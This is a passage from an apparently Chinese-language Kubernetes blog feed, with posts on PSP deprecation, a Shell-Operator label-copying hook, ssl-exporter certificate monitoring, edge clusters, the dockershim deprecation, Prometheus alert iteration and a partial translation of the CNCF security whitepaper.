      &amp;quot;deployment.kubernetes.io/revision&amp;quot;: &amp;quot;1&amp;quot;
    },
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;相关链接&#34;&gt;相关链接&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Dyff：&lt;code&gt;https://github.com/homeport/dyff&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Neat：&lt;code&gt;https://github.com/itaysk/kubectl-neat&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Krew：&lt;code&gt;https://github.com/kubernetes-sigs/krew&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 将弃用 PSP</title>
      <link>/post/byebye-psp/</link>
      <pubDate>Wed, 20 Jan 2021 14:21:41 +0800</pubDate>
      <guid>/post/byebye-psp/</guid>
      <description>

&lt;p&gt;太长不看版：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Merged：deprecate PSP in 1.21, but leave removal at 1.25 #97171&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href=&#34;https://kubernetes.io/docs/concepts/policy/pod-security-policy/&#34; target=&#34;_blank&#34;&gt;Pod Security Policy&lt;/a&gt; 是 Kubernetes 的重要安全措施之一，它首先定义角色，其中规定了对 Pod 行为的限制，其中包括对特权容器、主机网络、Capability、加载卷类型等内容进行了限制，然后通过 RBAC 把 SA-Pod-PSP 三者结合起来，完成对 Pod 权限的限制。相对于 &lt;a href=&#34;https://kubernetes.io/docs/concepts/policy/pod-security-policy/&#34; target=&#34;_blank&#34;&gt;SecurytContext&lt;/a&gt; 来说，PSP 更具强制性和可管理性，CIS Kubernetes Benchmark（v1.6）中明确地把启用 PSP 设置为记分项目，很多 Kubernetes 安全相关软件也会据此进行检查。&lt;/p&gt;

&lt;p&gt;然而 PSP 是无法缺省启用的，还有一些&lt;a href=&#34;https://docs.google.com/presentation/d/1Kv6BSBNyLCyglMbK7e6tVOaDYe89LV2aHL2Hlb-9HX8/edit#slide=id.g5d1d1d6ca2_1_0&#34; target=&#34;_blank&#34;&gt;其它缺陷&lt;/a&gt;，因此在 &lt;a href=&#34;https://github.com/kubernetes/kubernetes/pull/97171&#34; target=&#34;_blank&#34;&gt;#97171&lt;/a&gt; 中，Kubernetes 1.21 把 PSP 加入了淘汰队列，并在 1.25 中移除。&lt;/p&gt;

&lt;p&gt;讨论中可以看到，几个备选方案包括：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;升级 PSP&lt;/li&gt;
&lt;li&gt;第三方策略引擎&lt;/li&gt;
&lt;li&gt;缺省启用宽松策略&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;目前可用的唯一方案就是启用策略引擎，因此 OPA/Gatekeeper 或 Kyverno 等策略引擎的重要性将进一步提高。遇到扫描报告里的“未启用 PSP”也可以理直气壮了。&lt;/p&gt;

&lt;h2 id=&#34;参考链接&#34;&gt;参考链接&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;#97171&lt;/code&gt;：&lt;code&gt;https://github.com/kubernetes/kubernetes/pull/97171&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;PodSecurityPolicy，Present and Future：&lt;code&gt;https://docs.google.com/presentation/d/1Kv6BSBNyLCyglMbK7e6tVOaDYe89LV2aHL2Hlb-9HX8/edit#slide=id.p&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Pod Security Policy：&lt;code&gt;https://kubernetes.io/docs/concepts/policy/pod-security-policy/&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Security Context：&lt;code&gt;https://kubernetes.io/docs/tasks/configure-pod-container/security-context/&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>使用 Shell-Operator，让 Pod 继承节点标签</title>
      <link>/post/copy-labels-from-node-to-pod-by-shell-operator/</link>
      <pubDate>Wed, 13 Jan 2021 10:48:07 +0800</pubDate>
      <guid>/post/copy-labels-from-node-to-pod-by-shell-operator/</guid>
      <description>

&lt;p&gt;前一段时间发了一篇 Shell Operator 的介绍，搓例子的时候，就想起个需求，我想把 Pod 所在节点上的特定标签复制给 Pod，例如机架、虚拟机节点所在的物理机等，都可以用标签的形式来表达，并可以用这些标签进行选择和统计等。&lt;/p&gt;

&lt;p&gt;Shell Operator 的基本开发流程是：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;编写配置文件，确定触发条件。&lt;/li&gt;
&lt;li&gt;开发操作脚本，打包容器镜像。&lt;/li&gt;
&lt;li&gt;确定操作权限，设置 RBAC。&lt;/li&gt;
&lt;li&gt;运行和测试。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;官方的例子中，入口脚本如果带有参数 &lt;code&gt;--config&lt;/code&gt;，就会返回一段 YAML 格式的配置文件，这部分是硬编码到代码之中的，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;#!/usr/bin/env bash
if [[ $1 == &amp;quot;--config&amp;quot; ]] ; then
  cat &amp;lt;&amp;lt;EOF
configVersion: v1
kubernetes:
- apiVersion: v1
  kind: Pod
  executeHookOnEvent: [&amp;quot;Added&amp;quot;]
EOF
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在 K8s 中，我们可以用 Configmap 的形式来提供配置文件，提高其适应能力：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;if args.config:
    with open(CONFIG_FILE) as cfg:
        print(&amp;quot;&amp;quot;.join(cfg.readlines()))
    sys.exit(0)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;配置文件的处理方式：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;configVersion: v1
kubernetes:
- apiVersion: v1
  kind: Pod
  executeHookOnEvent: [&amp;quot;Modified&amp;quot;]
  labelSelector:
    matchExpressions:
    - {key: node-dc, operator: DoesNotExist}
    - {key: node-label, operator: Exists}
  jqFilter: .spec.nodeName
&lt;/code&gt;&lt;/pre&gt;

&lt;ul&gt;
&lt;li&gt;以 Pod 的 &amp;lsquo;Modified&amp;rsquo; 事件触发 Hook。&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;jqFilter&lt;/code&gt; 关注 &lt;code&gt;.spec.nodeName&lt;/code&gt; 字段的变化，仅变化时触发&lt;/li&gt;
&lt;li&gt;给对象 Pod 提供两个标签

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;node-dc&lt;/code&gt; 用于标注该对象是否已经完成标签复制，完成的不触发。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;node-label&lt;/code&gt; 用于标注该对象是否需要进行标签复制，没有该标签的不进行触发。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;用这个配置文件生成 ConfigMap，预备给 Pod 进行加载。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;配置文件的位置由环境变量 &lt;code&gt;CONFIG_FILE&lt;/code&gt; 决定，缺省值为 &lt;code&gt;/etc/auto-labeler/config.yaml&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;把源码和 Dockerfile 拷贝在一起生成镜像，这里用 Python 编写的脚本，所以需要加入 Python3 的包：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-Dockerfile&#34;&gt;FROM flant/shell-operator:latest-alpine3.11
RUN apk --no-cache add python3
ADD auto-labeler.py /hooks
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;/hooks&lt;/code&gt; 目录里面的可执行文件都会被视为 Hook 脚本。这个目录的定义可以用环境变量 &lt;code&gt;SHELL_OPERATOR_HOOKS_DIR&lt;/code&gt; 进行修改。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;这个功能需要读取 Node 信息，并为 Pod 打标签，Pod 中的 Kubectl 会用 ServiceAccount 凭据对集群进行操作。所以需要进行 RBAC 配置。源码中的 &lt;code&gt;rbac.yaml&lt;/code&gt; 文件包含了所需的内容。&lt;/p&gt;

&lt;p&gt;以上步骤都完成之后，部署工作组件（例如 &lt;code&gt;operator.yaml&lt;/code&gt;），就可以进行测试了，&lt;/p&gt;

&lt;h2 id=&#34;测试&#34;&gt;测试&lt;/h2&gt;

&lt;p&gt;首先给各个节点打入标签，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;kubectl label node \
    gke-gcp-vlab-k8s-default-pool-176e8788-n7bl \
    node-dc=datacenter node-rack=10002 node-name=vm009
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;代码中的 &lt;code&gt;sample-workload.yaml&lt;/code&gt; 就是一个给 Pod 打好了 &lt;code&gt;node-label&lt;/code&gt; 标签的实例。部署之后可以进行 Scale，查看标签的生效情况。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>介绍一个小工具：SSL-exporter</title>
      <link>/post/check-cert-with-ssl-exporter/</link>
      <pubDate>Sat, 09 Jan 2021 00:01:13 +0800</pubDate>
      <guid>/post/check-cert-with-ssl-exporter/</guid>
      <description>

&lt;p&gt;Kubeadm 安装时的证书有效期设置为 1 年，虽说有 &lt;a href=&#34;https://github.com/fanux/sealos&#34; target=&#34;_blank&#34;&gt;sealos&lt;/a&gt; 这样的不知名安装器以及各种方案来更新证书，但是对于像我一样经常跟不知来源的 Kubernetes 集群打交道的人来说，这个有效期就是达摩什么的利剑，不一定什么时候会砍到脖子上。如果能用 Prometheus 对证书有效期进行监控或者告警，就能更好地保护好自己的脖子了，&lt;a href=&#34;https://github.com/ribbybibby/ssl_exporter&#34; target=&#34;_blank&#34;&gt;ssl-exporter&lt;/a&gt; 就是这么个有趣的项目。&lt;/p&gt;

&lt;p&gt;ssl-exporter 是个 Prometheus Exporter，能提供多种针对 SSL 的检测手段，包括：https 证书生效/失效时间、文件证书生效/失效时间，OCSP 等相关指标。下面用 API Server 证书检测来验证这一功能：&lt;/p&gt;

&lt;p&gt;首先进行部署：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Service
metadata:
  labels:
    name: ssl-exporter
  name: ssl-exporter
spec:
  ports:
    - name: ssl-exporter
      protocol: TCP
      port: 9219
      targetPort: 9219
  selector:
    app: ssl-exporter
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: ssl-exporter
spec:
  replicas: 1
  selector:
    matchLabels:
      app: ssl-exporter
  template:
    metadata:
      name: ssl-exporter
      labels:
        app: ssl-exporter
    spec:
      initContainers:
        # Install kube ca cert as a root CA
        - name: ca
          image: alpine
          command:
            - sh
            - -c
            - |
              set -e
              apk add --update ca-certificates
              cp /var/run/secrets/kubernetes.io/serviceaccount/ca.crt /usr/local/share/ca-certificates/kube-ca.crt
              update-ca-certificates
              cp /etc/ssl/certs/* /ssl-certs
          volumeMounts:
            - name: ssl-certs
              mountPath: /ssl-certs
      containers:
        - name: ssl-exporter
          image: ribbybibby/ssl-exporter:v0.6.0
          ports:
            - name: tcp
              containerPort: 9219
          volumeMounts:
            - name: ssl-certs
              mountPath: /etc/ssl/certs
      volumes:
        - name: ssl-certs
          emptyDir: {}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面的 YAML 部署了一个 Deployment 和 Service，在 9219 端口上提供 Exporter 服务。&lt;/p&gt;

&lt;p&gt;接下来在 Prometheus 中配置一下抓取 Kubernetes 服务的内容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;- job_name: ssl-exporter
  metrics_path: /probe
  static_configs:
  - targets:
    - kubernetes.default.svc:443
  relabel_configs:
  - source_labels: [__address__]
    target_label: __param_target
  - source_labels: [__param_target]
    target_label: instance
  - target_label: __address__
    replacement: ssl-exporter:9219
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来就可以进行查询了，查询语句：&lt;code&gt;(ssl_cert_not_after-time())/3600/24&lt;/code&gt;，这个表达式查询各个目标的过期时间和当前时间的差。执行查询获取到过期天数，查询结果是 349 天。同样的表达式，复制到 Alertmanager 中，就可以及时的获取到证书的过期时间了。&lt;/p&gt;

&lt;h2 id=&#34;相关链接&#34;&gt;相关链接&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;ssl-exporter：&lt;code&gt;https://github.com/ribbybibby/ssl_exporter&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;ssl-exporter 示例部署和配置：&lt;code&gt;https://github.com/ribbybibby/ssl_exporter/issues/12#issuecomment-562966945&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;sealos：&lt;code&gt;https://github.com/fanux/sealos&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>送容器下乡</title>
      <link>/post/down2countryside/</link>
      <pubDate>Wed, 06 Jan 2021 14:50:56 +0800</pubDate>
      <guid>/post/down2countryside/</guid>
      <description>

&lt;h2 id=&#34;kubernetes-上天了&#34;&gt;Kubernetes 上天了&lt;/h2&gt;

&lt;p&gt;2020 年里，Kubernetes 的疆界有了一个有趣的扩展——美国人把 Kubernetes 和 Istio 装到了 F16 战斗机上。战斗机应该算是&lt;code&gt;真&lt;/code&gt;边缘了吧？读了几篇相关材料，发现整个过程远不止一个极限部署这么简单，DoD 在军方的大背景下，实现了一整套基于 DevSecOps 理念的云原生生态，那么一个问题就是，为什么单独要说 Kubernetes 和 Istio 呢？只是因为热门吗？&lt;/p&gt;

&lt;p&gt;我的看法是，容器化和容器编排，是云原生的“阵眼”。云原生是个覆盖方方面面的体系，除了我们熟知的容器链条等技术要素之外，还以方法论的方式渗透到整个 IT 环境的市场、商务、架构、开发、运维、安全等各个方面。而其中的容器技术，其底蕴来自于几十年来整个业界不断的虚拟化和隔离技术的积累，是云原生的众多概念中，最能被“看得见，摸得着”的形象。同时作为制品和运行时的一等公民，容器和（Kubernetes 的）声明式 API 结合起来，已经能够满足绝大多数业务应用的运行需要。一个常见的 Kubernetes 环境，有足够条件能够符合 12 要素中至少一半的要求。这个组合是最常见也是最应该的云原生入门选择。很大程度上，Kubernetes 能走到哪里，云原生才能走到哪里。&lt;/p&gt;

&lt;h2 id=&#34;部署是个大问题&#34;&gt;部署是个大问题&lt;/h2&gt;

&lt;p&gt;回到前面的新闻，把 Kubernetes 装到哪里，当然不代表成功，但是它代表了一个重要的方向，YAML 架构师们都知道——只要这东西起来了，给我一个 Helm，就能搞他个天翻地覆。所以从诞生之初直到现在，Kubernetes 的部署都是个大问题。&lt;/p&gt;

&lt;p&gt;然而一谈到 F16 之流的边缘部署，不可避免的会想到奇奇怪怪的设备们，长期以来都有一个固定的句式——我们给 XX 减肥，把它塞到资源有限的 YY 设备里。不过这对 Kubernetes 可能不太合适。&lt;/p&gt;

&lt;p&gt;我一直对“魔改”这个事情有点抵触——感觉像是在车子上跳下来，虽然会有一个更高的速度，但是很难保障你真的就是火箭鱼雷航天飞机，下车才是刚起步，更多的情况是，跳车之后快了一瞬间，才发现跟不上了。&lt;/p&gt;

&lt;p&gt;资源不足的设备，和上不了容器的用是一样的，如果存在真正的需求，它们自然会适应实际需要，无法适应只能说是需求不强。强扭的瓜不甜，只想要瓜不管甜不甜的可以忽略。&lt;/p&gt;

&lt;p&gt;所以在我一个 YAML 架构师的眼里，Kubernetes 下乡，应该是基于原装的 Kubernetes，在一定程度内，满足大部分容器化业务的支撑需要，其它的东西，应该是设备归设备、虚机归虚机。Kubernetes 目前的下乡重点，应该在边缘机房，而非末梢节点。&lt;/p&gt;

&lt;h2 id=&#34;什么样的-kubernetes-能下乡&#34;&gt;什么样的 Kubernetes 能下乡&lt;/h2&gt;

&lt;p&gt;那么要让 Kubernetes 下乡，除了要求“原装货”，乡下有点什么不一样呢？&lt;/p&gt;

&lt;h3 id=&#34;非标准环境&#34;&gt;非标准环境&lt;/h3&gt;

&lt;p&gt;通常的边缘环境不会是标准数据中心，少到两三台利旧服务器，大到几个一体化机柜，各个节点会有参差不齐的硬件水平和规模，散热、供电水平通常达不到一个持续高可用运行的需要。&lt;/p&gt;

&lt;h3 id=&#34;弱网络&#34;&gt;弱网络&lt;/h3&gt;

&lt;p&gt;和散热供电一样，位于边缘的节点的网络可能会有较高的延迟，甚至较长时间的断网，周期性的网络不可用，以及需要隧道才能互访的情况。&lt;/p&gt;

&lt;p&gt;此外还有跨地域边缘节点组成的集群，节点之间、节点和控制平面之间的通信同时都可能遭遇网络问题，会把情况进一步的复杂化。&lt;/p&gt;

&lt;h3 id=&#34;反锁定&#34;&gt;反锁定&lt;/h3&gt;

&lt;p&gt;我们历尽千辛万苦将 Kubernetes 送到乡下之后，可能会有很多嗷嗷待哺的容器化应用要运行，以及各方厂商的种种设备尝试接入进行就近处理，因此对通用性的需要是显而易见的，简单说就是远端的计算节点应该有足够的软硬件兼容性，能够以一定的标准运行在通用硬件、虚拟化和操作系统上，支撑多种厂商的、或通用或边缘的软件系统的运行。&lt;/p&gt;

&lt;h3 id=&#34;低运维&#34;&gt;低运维&lt;/h3&gt;

&lt;p&gt;通常来说，运维人员还是围绕数据中心工作的，被“下放”的 Kubernetes 必须能够在一个少运维甚至零运维的情况下运行，原本在数据中心如臂使指的虚拟化、Ansible 之流可能都会因为前方条件的不足而受到种种限制，此时就要求我们的远端节点有强大的自愈、自治和被远程运维的能力。&lt;/p&gt;

&lt;h2 id=&#34;没结论&#34;&gt;没结论&lt;/h2&gt;

&lt;p&gt;这几天偶尔看了一些边缘集群的一些东西，看到减肥蔚然成风，想起多年以前我对 Java 太吃内存的嘲讽，有感而发。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>（闲聊）听说 K8s 要甩了 Docker？</title>
      <link>/post/gossip-k8s-docker/</link>
      <pubDate>Wed, 02 Dec 2020 21:01:13 +0800</pubDate>
      <guid>/post/gossip-k8s-docker/</guid>
      <description>&lt;p&gt;今天偶然看到 Kubernetes 1.20 的 &lt;a href=&#34;https://github.com/kubernetes/kubernetes/blob/master/CHANGELOG/CHANGELOG-1.20.md&#34; target=&#34;_blank&#34;&gt;ChangeLog&lt;/a&gt;，其中有一行大动作：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;Deprecation
Docker support in the kubelet is now deprecated and will be removed in a future release. The kubelet uses a module called &amp;quot;dockershim&amp;quot; which implements CRI support for Docker and it has seen maintenance issues in the Kubernetes community. We encourage you to evaluate moving to a container runtime that is a full-fledged implementation of CRI (v1alpha1 or v1 compliant) as they become available. (#94624, @dims) [SIG Node]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;大意是，Kubelet 中的 Docker 支持已经进入淘汰阶段，将在未来移除。原因是 Kubelet 中使用 &lt;code&gt;dockershim&lt;/code&gt; 组件为 Docker 提供了 CRI 支持，Kubernetes 认为维护这个组件是有问题的。建议用户评估并迁移到 CRI 支持更完善的运行时上。&lt;/p&gt;

&lt;p&gt;其中引用了 9 月提出的 &lt;a href=&#34;https://github.com/kubernetes/kubernetes/pull/94624&#34; target=&#34;_blank&#34;&gt;PR #94624&lt;/a&gt;。其中提出，为了使用 Docker，从 moby 进行了大量移植开发了 dockershim 嵌入到 Kubelet 之中。Kubelet 和 CRI 的正确沟通方式是像 containerd、cri-o 这样。各自使用独自的进程，互相以 gRPC 进行对接。Docker 目前仍然是主流，进行迁移需要广而告之并逐步推进。&lt;/p&gt;

&lt;p&gt;实际上早在 2018 年 5 月，Kubernetes 的 Containerd 集成就已经宣告了 GA。其中有两张图很能说明问题：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/containerd.png&#34; alt=&#34;images/containerd.png&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在 1.0 中，Kubelet 使用 Docker Shim 和 Docker 进行通信，Docker 再和下面的 containerd 进行通信。&lt;/p&gt;

&lt;p&gt;此时如果采用 containerd 作为运行时，Kubelet 要使用 CRI Containerd 和 Containerd 打交道，不过相对于 Docker，还是少了一跳。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/cri-containerd.png&#34; alt=&#34;images/cri-containerd.png&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在 1.1 中这个结构得到了优化——Containerd 直接内置 CRI 接口，Kubelet 甩掉包袱可以直接用 CRI 方式对 Containerd 进行控制，这样就又省了一跳。&lt;/p&gt;

&lt;p&gt;此时 Docker 在这个调用链上的位置已经有点尴尬。随着其它 CRI 运行时的发展，这种尴尬越发明显。&lt;code&gt;#94624&lt;/code&gt; 中提到过，Docker 有个优势就是提供了 Build 等“Kubelet 不需要但是很有用”的功能；然而换个角度来看，这些功能是有悖于单一职责的原则的。&lt;/p&gt;

&lt;p&gt;个人认为，Docker 这样的全能选手，在计算节点上的长期存在证明了这个阶段里，计算节点还没有进入理想的 &lt;code&gt;cattle&lt;/code&gt; 状态，用户一方面还没有心思对“多余”的功能进行剪裁，另一方面还有可能人工进入节点上进行运行时范围以外的操作。在 GA 一年多之后，砍刀开始落下，说明了什么呢？&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;容器和 Docker 这两个经常被混用的词，其间的边界可能会变得越来越清晰，构建、运行、管理越来越倾向于使用各自领域的专业工具各司其职；&lt;/li&gt;
&lt;li&gt;计算节点会变得更加“没性格”，换句话说，仅为了“运行容器”为目的的基础设施软件，例如操作系统、CRI 这样的工具会逐步代替大而全的通用 Linux Server 操作系统和 Docker 出现在容器节点上；&lt;/li&gt;
&lt;li&gt;“没性格”的计算节点将会更加容易地被创建、运行、调整和销毁，也就是说会提高容器集群规模的伸缩能力，甚至逐渐形成普遍的动态扩缩容能力。&lt;/li&gt;
&lt;li&gt;集群级别的批量化、自动化运维能力的要求会越来越高——或者以后的节点上没有 ssh、vim 也未可知。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;带点个人感情的说，前两天刚刚遭遇 DockerHub 限流的我还是生出了一点卑鄙的快意，Google 的铁拳再一次敲在了 Docker 的头上，Docker EE 怎么办？但是 Docker Desktop for Mac 还是真香的。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>一切从巡检开始——Prometheus 的告警迭代小窍门</title>
      <link>/post/prometheus-patrol-to-alert/</link>
      <pubDate>Sun, 29 Nov 2020 16:40:02 +0800</pubDate>
      <guid>/post/prometheus-patrol-to-alert/</guid>
      <description>&lt;p&gt;Prometheus 是 CNCF 的二号项目，大致相当于各种基于 K8s 的平台的标配监控方案了，其原始产品在高可用、性能等方面都有一些不足，好在几年来社区以及终端用户的持续贡献后，在大规模大流量的场景方面已经有了长足的进步。&lt;/p&gt;

&lt;p&gt;Prometheus 具备 CNCF 中顶级项目的普遍优势：架构优雅、社区活跃、扩展方便、生态健康。它提供了大量的 Exporter，常见软件多数都会有对应的 Exporter 用于产生监控数据，另外借助 Prometheus API，能够很方便的编写自己的 Exporter。在查询方面，虽说 PromQL 的古怪语法经常遭人诟病，但的确能够编写非常灵活的查询和告警。&lt;/p&gt;

&lt;p&gt;在实际落地过程中，监控和告警是非常重要的一个功能特性，但是不同项目、不同的运维团队、不同的工作负载，都有可能会有不同的告警关注点。告警信息是通常有成本的，在部分项目中可能还要走正式的上线/变更流程，因此通常来说都需要有一个平衡的过程，对告警项目以及告警阈值进行开发、测试、上线、反馈、调整等一系列迭代过程。&lt;/p&gt;

&lt;p&gt;在项目过程中，我们可以采用一种巡检+告警的模式来完成这一迭代过程。简单来说分为这样几个大步骤：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;写代码，从配置文件中读取 PromQL 查询语句，使用 Rest API 从 Prometheus 中获取指标。&lt;/li&gt;
&lt;li&gt;将预备使用的告警指标写入配置文件。&lt;/li&gt;
&lt;li&gt;在巡检过程中执行这些查询，并生成报表。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;在每次巡检过程中生成的报告里，着重关注这些新的监控数据，并把新数据和系统中对应的监控对象的实际情况进行对比，用多次巡检过程进行磨合之后，就可以上线到告警系统中，正式投入使用了。这种糙快猛的做法，一方面使用同样的语法规则，很方便的能在告警和巡检之间进行指标定义的迁移；另一方面，巡检的指标可以采用较为敏感的阈值设置，用于发现趋势性的或者重要但是紧急度不高的指标进行处理。&lt;/p&gt;

&lt;p&gt;相对于告警来说，巡检的自由度稍大，并且没有外发成本，更能够方便的进行调整迭代，避免无用告警和过量告警。&lt;/p&gt;

&lt;p&gt;另外推荐一个网站：&lt;a href=&#34;https://awesome-prometheus-alerts.grep.to/&#34; target=&#34;_blank&#34;&gt;Awesome Prometheus Alerts&lt;/a&gt;，这里汇集了很多的告警规则代码，非常适合用在监控系统的初期建设上。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>云原生安全白皮书</title>
      <link>/post/cloud-native-security-whitepaper/</link>
      <pubDate>Tue, 24 Nov 2020 22:33:16 +0800</pubDate>
      <guid>/post/cloud-native-security-whitepaper/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://github.com/cncf/sig-security/blob/master/security-whitepaper/CNCF_cloud-native-security-whitepaper-Nov2020.pdf&#34; target=&#34;_blank&#34;&gt;Cloud Native Security White Paper&lt;/a&gt;&lt;/p&gt;

&lt;h1 id=&#34;执行摘要&#34;&gt;执行摘要&lt;/h1&gt;

&lt;h2 id=&#34;目的&#34;&gt;目的&lt;/h2&gt;

&lt;p&gt;云原生的开发和部署模式已经成为业界趋势，技术、产品、标准和解决方案的生态系统也在同步的扩张之中，决策者面临着跟进复杂设计的挑战。CISO 要在这个动荡的战场中实践业务价值，这个角色显得尤为重要。云原生模式鼓励消费模式的变化，和采用需要集成安全实践的现代工作流程（如敏捷方法和 DevOps）。&lt;/p&gt;

&lt;h3 id=&#34;问题分析&#34;&gt;问题分析&lt;/h3&gt;

&lt;p&gt;面对快速开发和部署的迫切需要，基于边界的传统安全保障显得力不从心。传统安全方法偏重于对边界进行保护，而更复杂的云原生应用则倾向于识别动态工作负载中的属性和元数据来进行保护，这样才能为应用的模式转换保驾护航。这种方式能对工作负载进行识别和保护，以此适应云原生应用的规模扩展以及快速变化的需要。模式的转变要求使用面向安全的架构设计（例如零信任），并且在应用安全生命周期中采用更多的自动化方法。作为云原生环境的典型特征，容器化也需要最新的最佳实践。安全措施的变更会触及组织内的多个利益方，并且会对开发和运维人员的生产力造成影响，因此其权衡过程会持续存在。云原生应用并没有跳出开发、发布、部署和运维的圈子，但是新的模式需要新的安全机制，从而保障（新方式下）能够保障这些环节目标的达成。云原生应用的生命周期可以建模为开发、发布、部署和运行时这样几个不同的阶段。和传统安全方法相比，云原生安全有机会在不同的阶段注入各自的安全保障，而不是用独立的安全措施来干预应用的生命周期。需要指出的是，需要针对这些概念的使用和整合、相关工具和流程的教育和培训，云原生的落地和应用可能难以为继，甚至被打回原形。&lt;/p&gt;

&lt;h2 id=&#34;生命周期&#34;&gt;生命周期&lt;/h2&gt;

&lt;h3 id=&#34;开发&#34;&gt;开发&lt;/h3&gt;

&lt;p&gt;对云原生应用来说，建议在应用生命周期的早期就引入安全保障。尽早地使用安全测试来识别合规和配置的相关问题，从而为持续改进提供快速、可操作的反馈流程。这种方式能够使用同样的工作流程来处理安全问题和 Pipeline 中的其它常规问题（例如 Bug 修复或者 CI 失败）。这种模型中使用的现代的安全方法符合设计模式（例如 &lt;a href=&#34;https://12factor.net/&#34; target=&#34;_blank&#34;&gt;12 要素&lt;/a&gt;）要求，并且能保障交付过程的完整性。云原生的概念和 IaC（基础设施即代码）的实践密不可分，以此确保能够在早期进行安全检查后，按照预期执行。这样的过程能够识别错误配置，并可以尽早在 IaC  和编排清单中实施最佳实践，从而降低长期成本并提高安全价值。&lt;/p&gt;

&lt;h3 id=&#34;发布&#34;&gt;发布&lt;/h3&gt;

&lt;p&gt;软件供应链安全在快速的软件迭代过程中尤其重要。云原生应用的完整性保障不仅针对工作负载自身，还需保证其创建和运维过程的完整性。对于开源软件和第三方应用的强依赖加剧了这方面的要求。Pipeline 生产的制品（例如容器镜像）需要持续地进行自动扫描和更新，从而避免遭受漏洞、恶意软件、危险代码以及其它不当行为的侵害。完成这些检查之后，应该对制品进行签名来保障其完整性和不可否认性。&lt;/p&gt;

&lt;h3 id=&#34;部署&#34;&gt;部署&lt;/h3&gt;

&lt;p&gt;在开发和发布过程中集成的安全性能够对候选工作负载的属性进行实时的持续的验证（例如制品签名的验证、容器镜像和运行时的安全策略等）。随安全的工作负载同时部署的可观察性支持，提供了对日志和指标的支持，进一步完善了安全保障的覆盖面积。&lt;/p&gt;

&lt;h3 id=&#34;运行时&#34;&gt;运行时&lt;/h3&gt;

&lt;p&gt;云原生运行环境应提供策略和资源限制功能。对工作负载进行运行时资源限制（例如 Linux 的 cgroup 隔离）就是一个在云原生环境中进行限制和可观察性的原语的例子。可以把云原生运行时环境分解为具备不同安全问题的关联的组件层（例如硬件、主机、容器镜像运行时和编排）。&lt;/p&gt;

&lt;p&gt;在云原生环境中，普遍采用了微服务架构。应用通常会由独立且目标单一的微服务组成，这些微服务需要通过服务层进行通信，容器编排层完成了这一任务。这种相互纠缠的组件架构下，安全方面的最佳实践包括只有被许可的进程才能在容器的命名空间内运行、预防和告知未经授权的资源访问、以及能够感知恶意行为的网络监控。服务网格是另一个常见的抽象，它在避免对工作负载进行变更的情况下，为被编排的服务提供了加固和补充的功能（例如 API 流量日志、传输加密、认证、授权以及可观察性等）。&lt;/p&gt;

&lt;h2 id=&#34;建议&#34;&gt;建议&lt;/h2&gt;

